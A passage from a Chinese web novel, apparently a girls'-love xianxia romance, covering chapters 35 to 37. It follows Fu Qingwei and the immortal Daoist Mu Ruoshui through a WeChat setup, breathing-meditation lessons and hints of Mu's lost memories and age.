“……” 穆若水为了不让里面的人听见,确实是小声在她头顶说的话。 是自己反应太大了。 傅清微牵起穆若水的手腕快步远离病房,一直出了住院部,拐到来时僻静的路上,才压低声音道:“她们俩怎么抱在一起了?” “你羡慕啊?” “啊?” “是不是有点暧昧了。”穆若水扬眉说。 “……” 这茬过不去了是吧!!! 傅清微干脆道:“人家是师徒,师徒暧昧一下怎么了?师父就不能当妻子吗?那么多经典小说都是师徒恋呢,《神雕侠侣》看过没?” 穆若水本来是调侃她,被她那句:师父就不能当妻子吗? 仿佛当头棒喝,一场迟到的天崩地裂的海啸,搅得她心潮迭起,指尖颤抖,一时说不出话。 傅清微:“没有说岁主任是占科妻子的意思,不信谣不传谣。” 穆若水当然不会去传这个谣言。 傅清微没有察觉穆若水瞬间的失神,看向她鬼神莫近的傩面,口里还在念叨甘棠有段时间师徒恋上头的口头禅:“师父就是要当妻子的,妻子只能是师父。” 穆若水抬手摘下了面具。 长眉入鬓,未经勾画的眼尾天然上挑,像是蘸饱了桃花的墨色一笔,灼灼动人。 眉不画而翠,唇不点而朱,脸部线条犹如工笔勾勒,挑不出半点瑕疵。 她不是能用笔画出来的女人,而是人们在梦里极尽想象出的美人,朦朦胧胧地自幻想里破雾而出,来到了现实。 女人昳丽的脸被面具闷出了几分潮意和水汽,染上了凡尘的欲望。 仙姿佚貌,唇红齿白。 没有涂口脂的唇色也比旁人滟上三分,白玉般的脸一映,丹唇愈发夺目。 傅清微彻底呆住了,口中的话戛然而止。 “……师父。” 穆若水向她伸手。 傅清微目光盯着她红润饱满的唇,心思不知飘到了哪里,问:“什么?” “口罩。” 傅清微慢半拍地从兜里把口罩拿给她。 穆若水低头戴口罩,连低头的动作都那么美,一左一右挂在耳朵上,挡上那副迷惑心智的潋滟红唇,傅清微慢慢清醒过来,心虚地咽了咽口水。 穆若水都看在眼里,没说什么。 傅清微不记得在医院吃到的超级大瓜,坐在回家的出租车上满脑子都是观主那张漂亮得无人能及的脸,她说话时开合的红唇。 因为在车上,观主的脸近在咫尺,傅清微只好闭上眼睛。 还好戴着口罩,要是把口罩摘了直面那张脸,傅清微不知道自己能不能控制得住。 美色带来的冲击一直延续到了回到家里,傅清微说要去洗澡,从卧室到浴室,就是不敢看沙发上女人的脸。 穆若水收到了一条短信。 占英:【我的电话号码:139XXXXXXXX,银行卡取款密码是081102——岁已寒】 穆若水没回,放下手机。 浴室的淋浴声已经响了有二十几分钟了。 看来傅清微是不怕她了,居然敢洗这么长时间的澡,还不锁门。 换在之前穆若水说不定兴致上来要吓她一吓,但是昨晚刚把她吓出个好歹,她怕她误以为自己真是变态,想想还是作罢。 可惜了。 穆若水安分坐在沙发里,指尖划过架子上一排排书籍,随手抽出一本。 淋浴的水连成丝线,雨线似的坠落在傅清微的耳边。 她仿佛真的置身于窄巷的一场雨中,青石板被雨落成黑色,小雨连绵,她张口尝了一嘴细雨,一直潮湿到她的身体里,游遍她的奇经八脉,每一个穴道。 四十分钟过去了。 穆若水在门口敲了敲门。 “洗完了吗?该我了。” 傅清微眼皮上都是雨水,茫然地睁开眼睛,反应了两秒,飞快地应道:“好了。” 莲蓬头关掉雨声,大浴巾披在身上,迅速把身体的水分擦干,换上冬天的珊瑚绒睡衣,暖和地包裹住手脚。 她低着头从浴室出来,差点撞到站在门口的穆若水。 穆若水退开一步,说:“冒冒失失的。” 傅清微抬头瞧了她一眼,不行,还是好漂亮,在她眼睛里发光的那种漂亮,摘面具那幕的余波仍然在心湖回荡,涟漪难止。 她错身而过,连句道歉都没敢直视人家,钻进了卧室,一头埋进被子里。 【女主A和女主B去医院探望了朋友,女主A一直知道女主B长得好看,但是在女主B突然在她眼前摘下面具的那一秒,她依然被震撼到了,世上竟有如此清美绝艳之女子】 傅清微:【面具这种道具太bug了】 甘棠:【让我想起《大明宫词》太平和薛绍花灯初遇那段了】 傅清微:【差不多就是那种感觉,一眼万年】 甘棠:【女主A动心了吗?】 傅清微:【不知道,女主A躲在房间不敢见她,当鸵鸟】 甘棠:【女主B什么反应?】 傅清微:【没什么反应吧,洗澡去了】 甘棠:【……】 甘棠:【这还叫没反应,信不信下一秒她就敲响卧室的门,紧接着她俩在房间大do特do】 傅清微:【不会吧?】 观主洗澡哪有那么快? 叩叩叩—— 卧室的房门被敲响了。 第35章 说曹操曹操到。 傅清微看着自己微信聊天界面那句“紧接着她俩在房间大do特do”, 果断长按删除,打开了房门。 甘棠这个每天火上浇油的。 她绝对不能再频繁给自己这种心理暗示,否则迟早把自己掰弯。 穆若水从开了一半的门看见里面滚得一团乱的床铺, 想必床上每个角落都被傅清微染上了她的气息, 晚上可以睡个好觉。 傅清微以为她不喜, 连忙说:“我一会儿会整理好的,观主有什么事吗?” 穆若水把手机递给她。 “帮我加个通讯录好友。” 傅清微低头看向拨号键盘那一串数字, 穆若水回答她:“姓占的她师父, 暂时有点用处。” 穆若水不打算立刻把自己从岁已寒那里弄到钱的事告诉傅清微,这是她们俩的秘密小金库, 哪天傅清微把她哄得身心受用, 她就把卡给她。 她不说,傅清微哪猜得到她一句话让岁已寒给她打了十万块,确切的说是只用了一个字。 傅清微劳心劳力兼职这么久都没有存到几万块, 一只小猫生重病都可以掏空她的积蓄。 傅清微帮她把岁已寒的号码存进手机, 顺便问了她一句:“要不要帮你注册个微信?可以发语音。” 她想起穆若水打字都是用手写输入,效率不高还像个老年人。 穆若水:“是那个绿色的软件吗?” “对,大家都在用, 除了语音还可以视频,你还没试过视频功能吧?就是在千里之外也可以让两个人看到对方在做什么。” “见过。”穆若水第一次在水镜里,用傅清微的眼睛看到过打视频的人。 “道长见过的还挺多。”傅清微笑道。 穆若水心说:都是你教我的,无论是用手, 还是用你的眼睛。 傅清微莫名又想起她说见过人脱内裤的事,不自知地抿了抿唇。 她抛开小心思, 抬起头, 如常道:“我帮你注册一个?” “好。”穆若水说,“去沙发那边吧, 我懒得站着。” 傅清微用穆若水的手机号注册了新的微信,微信号想必观主也懒得想,所以傅清微自己拿了主意,到设置昵称她问了一句穆若水想要什么名字。 穆若水先说随便,后来又问:“你叫什么名字?” 女大取的昵称能有什么正经的,傅清微绝口不提,趁机问道:“道长你真名叫什么?” 她知道她有尊号叫慈让,道号叫若水,但应该还有个俗家的真名,有的师父还会给徒弟取道名。 穆若水食指撑着额头歪在沙发里,懒洋洋道:“慈让?” 傅清微:“……” 穆若水只从闯入后山那帮找死的天骄口中听到她姓穆,占英和岁已寒又尊称她为慈让真人,其余的一概不知,连道号都不如傅清微知道得清楚。 傅清微:“这是尊号,不是名字。” 穆若水无所谓:“要不你给我取个名字吧。” 傅清微受宠若惊:“这、这不合适吧?”她给一百多岁的祖宗起名,简直倒反天罡。 “有什么不合适?代号而已。” “话说回来,我那个时候不知道你道号若水……”傅清微带着笑意,干脆说起先前的误会。 “若水……”穆若水自言自语了一句,原来这才是她的道号,女人面无异色,懒声道,“你接着说。” “占科提起你说‘慈’什么的,后来去灵管局岁主任她们又管你叫穆顾问,我第一次上山的时候以为你叫穆慈,差点就叫出来了,还好没有,否则岂不是闹个大乌龙。” 女人听到这轻飘落下一声。 “就叫穆慈吧。” “什么?”傅清微没反应过来。 “我的名字,穆慈。” “……” 她真的给观主取名了,傅清微整个人被冲击得头晕眼花,扶住手边的沙发。 她们俩现在算什么关系了? 穆若水:“不是说昵称,可以改的?” 傅清微从尚未发散的思绪里抽身回来,灵魂缓慢地飘在半空等待落地,说:“是,是。” 她晕乎乎地将穆若水的昵称设置成了:穆慈。 傅清微打开自己的微信,避开穆若水的视线,把“国家不保护废物”改成了“A傅红雪”,一时想不到先借用一下,好歹是正经名字。 傅清微成了穆若水添加的第一位微信好友,且暗戳戳的设置聊天置顶。 穆若水指着傅清微昵称前的“A”,问道:“这是什么意思?”看起来不像汉字。 傅清微面不改色地说:“一个符号,没什么意思。” 傅清微给她示范了基础功能,穆若水上手很快,抱着新软件研究去了。 “你不是洗澡吗?” “不着急,天都没黑,你先去把床暖了。” “啊?” “你先睡,不用管我。”最好在床上多睡一会儿,才会留下更多的气味。 傅清微踌躇了两步,回头问道:“你不会趁我睡着偷偷爬我床吧?” 穆若水从软件里抬起头,说:“我要爬的时候一定会把你叫醒。” “……” 傅清微回房的路上笑了起来。 怎么又突然说话这么暧昧…… 不可思议的是,她竟然开始享受这种没什么邪念的口头暧昧。 真的是寡得久了,饿了什么都吃。 她关上房门,脱衣服重新钻进被窝里,回复甘棠的微信。 【花果山在逃母猴】:进展如何,女主A和女主Bdo了吗? 【花果山在逃母猴】:你怎么突然改名字了??? 【花果山在逃母猴】:连头像都换了?!肯定有情况!!!奉劝你三分钟之内如实招来!否则簧片伺候! 傅清微:“……” 该说不说,她现阶段确实受不了黄片伺候,很容易乱代入自己和观主。 【傅清微】:因为我刚找到了一份工作,想给新公司留一个好印象 【花果山在逃母猴】:待遇怎么样? 【傅清微】:六险二金,税后两万,月薪,实习期三个月 【花果山在逃母猴】:…… 【花果山在逃母猴】:还得是你们学计算机的,我毕业后当律师助理一个月说不定都没有三千块,麻了 【花果山在逃母猴】:你那公司叫啥名字啊,我去天眼查给你查查 傅清微报了灵管局披皮的科技公司的名字,她先前查过,正规合法,经营范围真实,还有法人代表——就是不知道是局里的高层还是随便一个人。 【花果山在逃母猴】:哇,这种基本不对外招聘的公司都给你应聘到了,不愧是我好姐们,转正得请我吃一顿大餐 【傅清微】:请你吃最贵的海鲜自助 【花果山在逃母猴】:转正以后有机会的话记得内推我!!!这么高的薪水,我什么都可以做的[流下羡慕的泪水.jpg] 【傅清微】:好! 【花果山在逃母猴】:我觉得这个ID不够烧,找不到女朋友,要不我再改个新的 【傅清微】:改成什么? 【花果山在逃母猴】:苦练括约肌夹死心上人,怎么样? 【傅清微】:…… 【傅清微】:[收手吧别骚了.jpg] 【傅清微】:你先别改了 【苦练括约肌夹死心上人】:为什么? 【傅清微】:练好括约肌再改,免得实战的时候女朋友失望 【花果山在逃母猴】:有道理[点头] 点进头像,看着她改回去的昵称,傅清微提着的一口气终于松了下来。 她和甘棠聊天这么频繁,万一有朝一日被穆若水看到,问她这个ID是什么意思,傅清微难道要现场给她示范吗? 就算不需要她亲身示范,光解释意思也够羞耻的。 【傅清微】:我要看项目资料了,先不和你聊了 【花果山在逃母猴】:去吧,你已经是一个成熟的社畜了,而我还在玛卡巴卡[含手指流口水.jpg] 傅清微用找到新工作的借口成功掩盖了突然换头像的理由,并且想到了新的昵称:【A傅实习】,手动置顶了和穆若水的聊天框。 [我们已经是朋友了,快来打个招呼吧] 【穆慈】:[语音5"] 傅清微刚想给她发消息,便收到了穆若水发来的语音,这算心有灵犀吗? 她咬住下唇,眉眼压不住羞赧和喜悦,点击语音条贴到耳边。 “出来,进去,出来,进去。” 傅清微无师自通地明白她是在对自己说话命令,顺便实验语音。既然最后一个词是“进去”…… 傅清微按住说话:“收到,我不出去,就在里面。” 【穆慈】:[语音2"] 傅清微点开。 穆若水说:“睡吧,不用管我。” 傅清微丢开手机陷入了梦乡。 床上不仅有傅清微这个主人的气味,还有几日来穆若水留宿身上的气息,那种傅清微说不上来的花木香气,丝线一样将她呼吸紧紧地缠绕。 傅清微睡着睡着,意识昏迷过去。 期间穆若水进了一次房间,本来想问她有没有别的睡衣给自己,却见她人事不省地躺在床上。 穆若水身上的异香取自西海聚窟洲的某种珍稀树木,另添加各类药材所制成,原料和丹方都早已失传。傅清微有时感受到的不是错觉,这种香气被凡人闻到,确实有迷惑心智的效果,也会像现在这样,闻久了直接陷入昏迷。 穆若水把完脉放下她的手。 好在这香对普通人身体没有大碍,就是睡得死了些,连梦都不会做一个。 穆若水本来已经走到门口了,又折返回去。 来都来了,她停在床前,俯身埋在傅清微脖子里好一顿放肆,谨慎地没有留下任何痕迹,擦掉水痕,事了拂衣去。 事后她坐在客厅沙发里反思。 不是反思她这样做对不对,有没有趁人之危之嫌,而是以她现在吸食的频率,似乎过高了。短时间内她饮过她的血,喝过她的眼泪,按理说很长时间都不再需要她了。 为什么她一看到她,还是忍不住会离得很近,没有缝隙地抱在一起,甚至亲咬她的脖子。 这对她不是好的现象。 毕竟傅清微快死了,她活不了几十年。 而自己有无尽的生命。 也许应该降低这种频率了。 自助餐也不能不分饱饥地每次都把自己吃到撑。 * 傅清微从下午一觉睡到了晚上九点,是被饿醒的,胃里空落落的感觉支撑着她从床上爬起来,两条腿像煮软的面条使不上力,挪着来到了客厅冰箱,对着打开的冰箱门打哈欠。 傅清微拿了两个鸡蛋和一把青菜,一步一步挪进了厨房。 咚—— 装水的塑料大彩碗落到了地上,一声巨响。 傅清微迟半拍地看向脚下,又茫然看看自己修长有力的手,似乎不明白她为什么会突然拿不稳一个碗。 她想弯腰把碗捡起来,刚低头却感觉自己头晕得厉害,天旋地转之际扶住了料理台的边缘,厨房狭窄的天地在她视野里旋转,如同转动的黑白万花筒。 脚步虚软,地面仿佛在连绵起伏,她站立不稳眼前一黑,向后倒了下去。 后脑没有如预料之中磕到地面,一只手及时从身后揽住她的腰,背部贴上了一具柔软温热的身体。 傅清微闭目漆黑,软弱无力:“我……” “不用说话。” 穆若水把她从厨房抱到了客厅的长沙发里,本来想回卧室,但恐怕她现在的情况就是因为睡了她睡过的床,她肉体凡胎,承受不了太多的异香。 穆若水不着痕迹按了她几处穴位,又无声念了几句咒,站在一旁等她慢慢恢复力气。 眼底微凝。 按理说上次傅清微睡过她的棺材,棺材她躺了百年,岂是区区一张卧室的床能比的,当时也不见她反应这么严重。 是因为自己刚吸过她的血,体质虚弱被趁虚而入? 还是因为她们俩在一起待得太久了,阴气入体加上香气作祟,量变引起质变,今日正好发作。 不管是哪一种,傅清微现在都躺在那里,苍白羸弱,双目紧闭。 穆若水用祝由术暂时加快了她的恢复速度,自己则折身去了厨房,捡起空碗,擦干地砖的水。 抽油烟机嗡嗡地运作起来。 鸡蛋被利落地打进碗里,搅拌声像是节奏感强的乐章。 葱蒜爆香,切成块的西红柿倒进热锅里,炒出酸甜的汤汁,加水煮沸放入一把面条,青菜和炒熟的鸡蛋随后放入,出锅,最后撒一把绿葱。 傅清微闻着香气来到了餐桌坐好,看着面前冒热气的番茄鸡蛋面。 穆若水拿着筷子和一瓶芝麻香油从厨房出来,递给她筷子,问:“好点了?” 傅清微:“好多了。” 她打开香油往面上淋了一点,说:“刚刚可能是饿的,低血糖才会晕,谢谢道长。” 她没提又给我做饭这种话,观主要炸毛的。 穆若水不置可否地嗯了一声。 傅清微拌了拌,低头吃起来,刚出锅的面有些烫,她吹了吹埋头继续吃,专心致志。 没有觉察到今天坐在对面的穆若水有些不一样,不一样的温柔和怜惜。 等傅清微吃了一半,速度慢下来,穆若水收起目光里不常见的色彩,说道:“你太弱了,才会晕倒。” 傅清微抬起头:“???” 除了小时候,她长这么大,第一次有人说她弱。 穆若水补刀:“手无缚鸡之力。” 傅清微放下筷子,脖子向右转,视线慢慢移向客厅的单杠,她每天早上在这练引体向上和卷腹她忘记了吗?前两天还说她腹肌练得好呢。 士可杀不可辱! 不就一次低血糖吗?就要抹杀她多年的健身成果。 她的身体在凡人里来说是不错,匀称修长,力量和灵活都不缺。但涉及到超自然范围,不堪一击,和任何一个普通人没什么差别。 她是快要死了,但得是几十年后她看着她寿终正寝,在她的怀里永远闭上眼睛不再醒来。 而不是短短的十几年,或者几年后,便因为和她在一起不知不觉越来越虚弱,油尽灯枯。 所以。 穆若水说:“即日起,我会教你一套吐纳功夫,有助你强身健体,固魂安神。” 傅清微本来已经打算站起来反驳她,闻言立马坐下,低头藏住心里的暗喜。 穆若水说:“你要好好练,绝不可懈怠。”否则代价将是她的性命。 她知道傅清微性子认真,绝不会敷衍了事,但此事不能冒一点风险。 傅清微应好。 穆若水:“抬起头看着我的眼睛回答。” 傅清微抬起脸,郑重说:“是!” 她总觉得这里末尾应该补上一句,于是在心里默默地补充了称呼:师父。 “先吃饭吧,吃完饭把碗洗了,然后来客厅找我。” “是。” 傅清微埋头吃面,因为吃得急呛了一下,扶着餐桌咳嗽不止,她起身想去找水的时候,一杯水已经递了过来,骨节分明的手指往上,是穆若水沉静的脸。 “慢点吃,你身体尚未痊愈。我说会教你就会教你,决不食言。” “我不是怕你反悔。”傅清微喝了水,慢慢匀下呼吸,说,“是担心你等急,不是,等久了。” 穆若水:“……” 她忍不住道:“教你只是顺便,并非专程。”何来等急一说? 嘴硬是天赋。 傅清微含笑道:“是,是我一时口误,我已经在反思了。” 看着她弯弯的笑眼,英气的凤眼都弯出几分狡黠诙谐,可爱是可爱,但也可气。 穆若水伸手把她喝了一半的杯子夺走,道:“你还是快点吃,呛死了我就不用教了。” 傅清微差点又呛了起来。 笑了几声发现杯子还留在餐桌上。 傅清微支着下巴,目光落向已经背对她离开的女人身影,去了露天的阳台赏月,双手负在身后,道袍长袖被风鼓起,仰起脸的下颌线条清晰皎洁,仿佛月下仙人。 不知过了多久,傅清微才如梦初醒地回过神,夹起已经半冷的面条送进嘴里。 她的眼睫轻轻颤了颤。 …… 傅清微收拾完厨房,洗了手擦干,来到客厅,穆若水已经在沙发上等着了,闭着眼。 傅清微有样学样,按照她打坐的姿势把脚搬到对应的位置,锻炼多年的体魄对修道也不是全无用处,她柔韧度好,学最基础的打坐姿势也轻松一些。 以后还会有更多其他用处。 穆若水没有睁眼,说道:“吐纳,简单来说就是呼吸,呼吸本无定法,也不需要固定的姿势,但是初学者要借助打坐来凝神练气,所以前期你一定要规矩地每日打坐,一日不可断。” “明白。” 傅清微从没见过观主打坐,想必吐纳早已融入到她的一呼一吸,起行坐卧皆是修行。 自己什么时候能到她这个境界呢? 恐怕除了勤奋努力,还要不可多得的天赋。 傅清微深呼吸静下心。 穆若水收了腿从沙发边站起来,纠正她动作上细微的瑕疵,望进傅清微看向她的眸子,说:“吐纳可以养气,气流转全身,运用自如的时候可以护体,也可以外放。” 傅清微联想起《金光咒》,举手提问道:“是‘天地玄宗,万炁本根’的那个炁吗?” 穆若水点头。 “不错,气化物时便是炁。炁分先天之炁和后天之炁,并无优劣。妖、鬼、魔等种族不同,生来便有炁,人、精、怪等通过后天修炼也可以有炁,后天之炁亦来源于天地,是故不分高下。” “可不可以理解为灵气?” 穆若水抿了抿唇,后知后觉自己说多了,而傅清微举一反三,自己体会到了炁的本质。 “可以。”她说,“你的手不用举那么高,这里不是学堂,我也不是你的教书先生。” “不好意思,我没注意。”傅清微把手放了下来,毕竟还是个在读学生。 如果说炁就是灵气,她勤学吐纳,是不是终有一日会修炼出灵气,注入符胆,画符的时候就不用再咬破舌尖了,可以像个真道士一样。 穆若水看穿她的想法,说:“吐纳是入门,能不能炼出炁,要看个人根骨,你们这个时代也有很多道士,有灵气的十不存一。” 傅清微想了想:“上次我去灵管局,有个叫邱月白的顾问说我胸有偃骨,岁主任也说我适合修道,说不定会登仙册,是真的吗?” 穆若水哼声,说:“偃骨而已,我也有。” 傅清微了然:“所以道长才这么厉害吗?” 穆若水:“……” 傅清微本来只想求证偃骨这个听起来迷信的说法真伪,现在面前就有个现身说法的,无疑给她注入一剂强心针。只要她刻苦修炼,就算没有穆观主厉害,应该能追上占科长吧。 穆若水见她面有喜色,以为是骄傲自满,沉声提醒道:“不可因天赋而懈怠。” 间接又一次肯定了偃骨的稀有。 傅清微心想,她再努努力,说不定能追上观主十分之一。 傅清微指天发誓:“决不懈怠,如有偷懒,天打雷劈!罚我此生都见不到观主!” 穆若水这才点了点头,道:“我这里有一套吐纳的心法口诀,你背下来。” “是。” 傅清微打开手机录音。 穆若水瞟了一眼,没问那是什么,但是她念完以后,傅清微轻轻在屏幕一触,她的声音原封不动从手机里传出来。 穆若水:“……” 以前要是有这东西,何苦师父一遍遍教。有的口诀和箓法不记录于文字,遇到笨的,能教上几十上百遍,口舌也说干了。 傅清微一边听一边拿笔出来写在本子上,问她确认好是哪些字,这才开始背。 “背完即毁,不可外传。” 穆若水从旁说了一句,往卧室走去:“你慢慢背吧,我去休息了。” 傅清微目光追着她的身影。 “谢谢师……道长。” 第36章 “谢谢师……道长。” 穆若水的脚步在门口顿了一顿, 没有回头,进了卧室。 她停在一门之隔的房里,没来由地在原地发了一会儿愣, 方抬起眼帘, 往床的方向走去。 偃骨, 也叫入星骨,各类道教典籍中不乏记载, 称之为仙骨。在遥远的过去飞升之人是否有偃骨已不可知, 成仙已是传说。但是历代有文字的记录里,胸有偃骨者无不声显名赫, 或开宗立派, 或中兴玄门,逢乱世时甚至左右天下大势。 也不排除幸存者偏差,从名流千古的道士里挑部分长了偃骨的出来大书特书, 自然个个都有大成就。 就说穆若水自己, 除了本事厉害了些,开了个小小的宗门,上下就她一个, 青史里不会记她一笔。 但是玄门公认的是,有偃骨者是适合修道的绝佳根骨,不止万里挑一,十万个人里未必有一个。傅清微既然长了偃骨, 又机缘巧合接触了玄门,说明她命中注定有仙缘。 因为种种原因穆若水不得不将她引进门, 至于将来会是谁领着她更进一步, 犹未可知。 穆若水没有想过收徒这回事。 与其说是她不想,不如说她没有收徒的概念。蓬莱观也好, 她身边也好,一直以来都是一个人,徒弟是什么样的存在? 她只见过一对师徒,就是今天在病房里暧昧那对,不像是什么正经师徒。 穆若水有些抵触,她对师徒关系有种莫名的看重,不容轻佻与放肆,除非她真的认定,否则她不会松口。陪伴她,和以师父的身份陪伴她,是不一样的。 一日为师,终身为师,敬重爱护,永不分离。 穆若水躺进了留有余温的被子里,关了卧室的灯。 * 吐纳的心法口诀很短,不过百来字,就是都是文言文有点拗口,傅清微对着灯下的笔记本先读通顺。 不懂的用笔标注在一边,明天白天再向观主讨教。 安静的夜晚只有运笔的沙沙声。 傅清微走了一下神,今天她们去医院探望占英,观主似乎对灵管局的人并不热切,不仅如此,反而很冷漠。岁已寒等人对她的态度却完全相反,不是说特别顾问吗? 观主和灵管局不熟的样子。 刚刚她提到邱月白,邱月白说三十年前观主曾经救过她的性命,穆观主也没有反应。 等等,三十年前? 傅清微的笔停了下来,眉头紧锁。 难道穆若水并没有沉睡百年之久? 可是山上的摆设和她的言行举止分明表示,她应该是民国时沉睡的。 这是怎么回事? 其中有一个人撒了谎?灵管局的人为什么要撒谎? 她们想从观主身上得到什么? 观主知道这件事吗? 明天她找个机会问问她,如果灵管局另有所图,她也好心里有个底。 傅清微在备忘录里记下这件事,继续把精力集中在口诀上,她的大学过得很充实,记忆力相比高考没有退化多少,百字的文言文多读几遍就能背下来。 嗡嗡—— 茶几上的手机震了一下。 傅清微放下刚搬好的腿,把手机拿起来。 【穆慈】:[语音]早晚功课也不要落下,咒语多念几遍,于你有益处 【傅清微】:知道,晚安 【穆慈】:[语音]嗯,不要睡太晚,熬夜损耗气血,事倍功半 【傅清微】:谢谢道长 穆若水不再回复她。 傅清微手边放着刚誊好的吐纳心法,早晚功课经背得滚瓜烂熟,虽不是道士,已胜似道士。 正如穆若水不是她的师父,却已做了师父的事。 有实无名。 傅清微对她多了一份尊敬,既然道长不愿意接受,她就默默藏在心里。 【傅清微】:我要打坐了,手机开了免打扰 傅清微切换到专注模式,左脚叠右腿,头顶百会,正坐沙发,五心向天,浓密的睫毛垂下遮住眼睛。 默念口诀,像婴儿第一次自主呼吸一样,学习吐纳。 第一次她练了一个小时,不习惯打坐的方式腿有点麻,起来活动一会儿以后继续打坐,口诵晚课经。 穆若水听着客厅隐隐约约传来的声音。 两个小时过去了,她还在念经文,确实没有半分懈怠。 起得比她早,睡得比她晚,勤奋认真,是个好苗子。如果……岁已寒勉强够格……算了,此事日后再说。 一个念头闪了一下,穆若水没如果出个所以然,被她掐断。 她深夜站在客厅的长沙发前,傅清微已经睡熟了,薄唇微张,睫毛覆盖眼帘,睡颜安静,眉眼柔和,还有几分乖巧。 穆若水情不自禁伸手碰了碰她的眉尾。 触感温暖平和,指腹一路顺到耳边。 傅清微自睡梦里发出一声呓语,将脸偏了偏,穆若水收回手,唇角微微上扬。 本来她可以多碰两下,万一她醒了又误会自己想对她做什么,好不容易哄好了,让她不害怕自己,就这样吧。 穆若水悄无声息地回了卧室,徒留下衣角的异香,梦里人丝毫未察觉。 晚风吹散了聚居在鹤市上空的阴云,月色愈发皎洁,撒落在熟睡的年轻女人脸庞,温柔得像方才抚过她眉间的指尖。 …… 傅清微喜欢被阳光叫醒的感觉,第一缕光停驻在她的眼皮上,她关闭了还有十分钟才会响起的闹钟,拉开纱帘,开了阳台的门,惬意的风和阳光一起涌入。 傅清微伸了个大大的懒腰,转了转自己的脖子,心情愉悦。 她把卧室的门关上,开始在客厅例行每日健身,健身完打坐,做早课。 冬日的风从阳台钻进来,调皮地牵起胸前几缕,痒痒地贴着她的下巴,暖暖的日光晒着她的背。 卧室的门何时再打开的她没有听见,穆若水在客厅走了一圈,穿着粉色珊瑚绒睡衣,在日光下打坐的年轻女人仿佛陷入了冥想状态,充耳不闻。 呼、吸,过滤掉肺部的杂质,天地间不可见的清气极细微的一缕,由鼻入肺,游走肺腑。 傅清微第二次打坐就入定了。 穆若水在边上看了她很久,闲着无聊把早餐做了。 就她冰箱里那些半成品,做早餐都不需要十分钟,一天天就吃这种东西。 她才不会给她翻菜谱。 上午九点半。 傅清微的肚子咕噜了一声,接连不断地奏乐把她自己给吵醒了,从入定状态醒过来,茫然地看着面前的客厅,电视、游戏机、装了水的玻璃瓶里的鲜花,熟悉的摆设蒙上了一层陌生的色彩。 她刚刚不是在山林里吗?海阔凭鱼跃,天高任鸟飞。 穆若水走过来屈指不轻不重地弹了一下她的脑门。 “吃饭,先把你的五脏庙祭了。” “好,我去做。” 傅清微路过餐桌,看见已经做好的三明治,回来抱了一下来不及坐下的穆若水。 “爱你~”还是那种唱出来的调子。 穆若水见怪不怪,并且假装嫌弃地用手指推开了她的肩膀。 傅清微熟练地在女人颈窝里蹭了蹭,来到饭桌前拿起三明治狼吞虎咽,不知道为什么打坐比健身还消耗大,她现在能吃下一头牛。 傅清微:“道长,我没吃饱。” 穆若水打开新下载的厨房app,说:“没吃饱自己做,手长着干吗用的?” “我做的难吃。”傅清微认清现实的速度十分之快。 “遇到我之前你饿死了?” “开玩笑的,我现在就去做。” 卖乖失败,傅清微见好就收,动作利索地进了厨房,又做了份火腿煎蛋三明治,终于填饱肚子。 [您正在注册下厨房app,验证码是472942] 穆若水生疏地切换到app,输入六位验证码,手机屏幕跳出五花八门的菜式。 材料、步骤,详尽清晰,应有尽有。 穆若水随便点开几个,感受科技给当代生活带来的便利,并不是真的想做菜。 她好像不吃太辣的食物。 傅清微收拾好碗筷,从厨房走到客厅也就十来步的距离,穆若水镇定地关闭了当前界面,面色如常地看向越来越近的傅清微,问:“有事?” 傅清微坐在她身边,只隔了一拳距离,但凡不是冬天的衣服都能感受到对方的体温。 穆若水抬了抬下巴,示意她去单人沙发。 傅清微只好坐过去,说:“道长,为什么我打坐的消耗比健身还累呢?是不是方法不对?” 穆若水说:“因为你太虚了。” “……咱能不能不提这个字?很打击自信心的。” “人最开始做一件事,总是从难到易。”穆若水不置可否,却规避了这个字,说,“你难道从一开始健身就能做好几组引体向上,或者卷腹吗?熟能生巧耳。” “但健身是体力运动,打坐没有消耗体能啊。” “吐纳是内门功夫,一呼一吸间的消耗并不比体力劳动少。” “报告,为什么有的人可以打坐一天一夜,甚至更久,都不会饿吗?” “提问的时候可以不用举手。”穆若水再一次提醒她,解答道,“原理上来说,吐纳功夫精深的话,洗精伐髓过后,可以做到只汲取天地间的灵气生存,但很难,现实几乎没有人能做到。” “这岂不是传说中的辟谷,原来也是真的。”傅清微简直像十万个为什么,逮着穆若水不断追问,穆若水难得好脾气地都回答了,还提醒她—— “不可好高骛远。” “没有好高骛远,我只是好奇,而且我才不想辟谷呢,人间的美食这么多。”傅清微说,“道长你说现实里没有人能辟谷,但你却可以,你就是那个例外吧。” “我不是。” “啊?” “你去忙吧。” 友好交流被没有征兆地打断,穆若水无意就这个话题多谈,下了逐客令。 房子就那么大,逐也逐不到哪儿去,卧室的床现阶段对傅清微有风险,穆若水只好站起来,自己去卧室。 傅清微不知道自己哪句话说错了,穆若水忽然不想和她说话,但—— 有的话还是得说。 “灵管局的邱月白顾问说,三十年前你救过她的命。” “知道了。”穆若水只略微停顿了一下脚步,轻描淡写地表示说。 傅清微紧接着道:“如果你没有救过她,就是她在骗我,我不知道她们的目的是什么,也不知道消息有没有用,你知道的多,我跟你说一下这件事。” “嗯,谢谢。” 穆若水始终背对她,隐藏了她轻锁的眉宇和茫然的双眼。 三十年前,她救过邱月白?邱月白是谁?她为什么要救她? 这难道不是她第一次醒来? 到底是第几次? 失去的记忆仿佛比她想象的更多。 傅清微呢?她又是第几次遇见她? * 灵管局。 主任办公室。 岁已寒终于联络上了邱月白。 东海异常暴动,华东分局向总局求援,总局请了邱老出山,这才暂时稳住局面。 岁已寒:【邱老,我见到了慈让真人,有一事想向您求证。我所见到的慈让真人,脸戴傩面,腰悬玉佩,但是身形和皮肤都犹如双十年华的年轻女子】 岁已寒:【据我所知,她应当有一百多岁,外表怎会如此年轻。此人是否为慈让真人本人?】 邱月白:【三十年前,她确实也是年轻女子身形】 岁已寒震惊:【难道真有长生不老之术?】 邱月白:【世间秘法万千,道亦无穷,连我都能延缓衰老,穆姐姐胜我百倍,又有什么不可能?】 岁已寒:【哪怕青丝如墨,肤似凝脂?】 邱月白:【肤似凝脂是真,青丝如墨未必。三十年前我见到她,她背影看上去很年轻,皮肤光滑,头发却已全白了。】 第37章 巫, 上古时代便有之,是极为古老的一门传承。 《说文解字》的书中记载:“巫,巫祝也, 女能事无形, 以舞降神者也。” 最初的巫与神灵距离极近, 她们通过特定的舞蹈来告祈神灵,神通过降灵到巫女身上或者直接给出神谕的方式来指引凡人。 前者与扶乩相似, 后者便是占卜, 多用兽骨,比如龟甲、牛骨。 还有一种媒介叫蓍草, 方法已经失传, 只在《周易》里能找到存在的踪迹。 